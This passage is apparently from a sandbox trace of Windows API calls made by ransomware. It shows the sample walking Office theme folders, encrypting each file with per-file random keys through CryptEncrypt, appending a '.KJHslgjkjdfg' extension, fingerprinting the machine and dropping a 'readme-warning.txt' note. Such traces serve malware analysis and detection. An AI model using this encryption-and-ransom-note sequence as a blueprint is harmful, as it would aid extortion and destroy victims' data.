lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0147.444] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.444] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.444] GetProcessHeap () returned 0x2a0000 [0147.444] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.444] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.444] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.444] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.444] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.444] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.444] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.444] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.444] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.444] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.445] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.445] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.445] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x554, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x554, lpOverlapped=0x0) returned 1 [0147.445] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x560, dwBufLen=0x560 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x560) returned 1 [0147.445] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.445] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x560, lpOverlapped=0x0) returned 1 [0147.445] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.445] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.445] SetEndOfFile (hFile=0x118) returned 1 [0147.447] GetProcessHeap () returned 0x2a0000 [0147.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.447] GetProcessHeap () returned 0x2a0000 [0147.448] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.448] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.461] CloseHandle (hObject=0x118) returned 1 [0147.462] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.463] GetProcessHeap () returned 0x2a0000 [0147.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.463] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.463] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.463] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0147.466] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.466] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.466] GetProcessHeap () returned 0x2a0000 [0147.466] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.466] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.466] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.466] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.466] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.466] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.466] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.466] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.466] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.466] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d35, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2d35, lpOverlapped=0x0) returned 1 [0147.468] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2d40) returned 1 [0147.468] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.468] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2d40, lpOverlapped=0x0) returned 1 [0147.468] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.468] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.468] SetEndOfFile (hFile=0x118) returned 1 [0147.471] GetProcessHeap () returned 0x2a0000 [0147.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.471] GetProcessHeap () returned 0x2a0000 [0147.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.477] CloseHandle (hObject=0x118) returned 1 [0147.477] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.477] GetProcessHeap () returned 0x2a0000 [0147.477] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.477] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.477] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.477] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.478] GetProcessHeap () returned 0x2a0000 [0147.478] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.478] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.478] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.478] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.478] GetProcessHeap () returned 0x2a0000 [0147.478] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.478] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.479] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.479] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.479] GetProcessHeap () returned 0x2a0000 [0147.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.479] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.479] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.479] GetProcessHeap () returned 0x2a0000 [0147.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.479] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.479] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.479] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.479] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.479] RegCloseKey (hKey=0x118) returned 0x0 [0147.479] GetProcessHeap () returned 0x2a0000 [0147.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.480] GetProcessHeap () returned 0x2a0000 [0147.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.480] GetProcessHeap () returned 0x2a0000 [0147.480] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.480] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.480] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.480] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.480] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.480] GetProcessHeap () returned 0x2a0000 [0147.480] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.480] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.480] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.480] GetProcessHeap () returned 0x2a0000 [0147.480] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.481] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt") returned 82 [0147.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.482] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.484] CloseHandle (hObject=0x118) returned 1 [0147.484] GetProcessHeap () returned 0x2a0000 [0147.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.484] GetProcessHeap () returned 0x2a0000 [0147.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.484] GetProcessHeap () returned 0x2a0000 [0147.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.484] GetProcessHeap () returned 0x2a0000 [0147.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.484] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.484] GetProcessHeap () returned 0x2a0000 [0147.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.484] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0147.485] GetProcessHeap () returned 0x2a0000 [0147.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.486] GetProcessHeap () returned 0x2a0000 [0147.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.487] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.487] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0147.487] GetProcessHeap () returned 0x2a0000 [0147.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.487] GetProcessHeap () returned 0x2a0000 [0147.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.487] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.487] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.487] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0147.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.490] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.490] GetProcessHeap () returned 0x2a0000 [0147.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.490] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.490] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.490] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.490] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.490] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.490] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.490] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.490] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.490] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.491] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.491] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.491] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x166d5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x166d5, lpOverlapped=0x0) returned 1 [0147.492] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x166e0, dwBufLen=0x166e0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x166e0) returned 1 [0147.494] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.494] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x166e0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x166e0, lpOverlapped=0x0) returned 1 [0147.494] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.494] 